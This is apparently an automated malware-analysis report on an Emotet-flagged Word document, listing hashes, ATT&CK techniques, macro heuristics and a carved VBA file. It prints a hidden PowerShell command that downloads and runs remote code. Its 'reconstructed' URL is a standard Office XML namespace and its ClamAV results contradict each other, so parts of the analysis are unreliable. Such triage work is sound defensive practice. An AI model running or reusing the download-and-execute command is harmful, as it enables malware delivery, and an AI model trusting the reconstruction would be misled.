Emotet Office (OLE) / .DOC malware analysis — malicious · e1bc3bae87aa0a48

MALICIOUS

Office (OLE) / .DOC

166.6 KB Created: 2020-09-14 11:57:00 Authoring application: Microsoft Office Word

MD5: e132f8043d41bc9d5acd059399e5e64b SHA-1: 2e65a35cca56bfd659cc4e70227ce469ce33a3ac SHA-256: e1bc3bae87aa0a48be0f3828171ea815daa1a2f96a613cb7570907068bbd3dd4

240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1105 Ingress Tool Transfer

The file contains VBA macros, specifically a Document_Open macro that utilizes CreateObject to execute code. The ClamAV detection explicitly identifies it as Emotet. The embedded script content, when partially reconstructed, indicates the execution of PowerShell commands, likely for downloading and executing a secondary payload. The reconstructed PowerShell command appears to be 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://schemas.openxmlformats.org/drawingml/2006/main\')"'.

Heuristics 7

ClamAV: Doc.Malware.Emotet-9762269-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emotet-9762269-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `8a39fc8d6eec119bccb9074c742cbab236c89f429d1a306c2818d1568d873603`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	25223 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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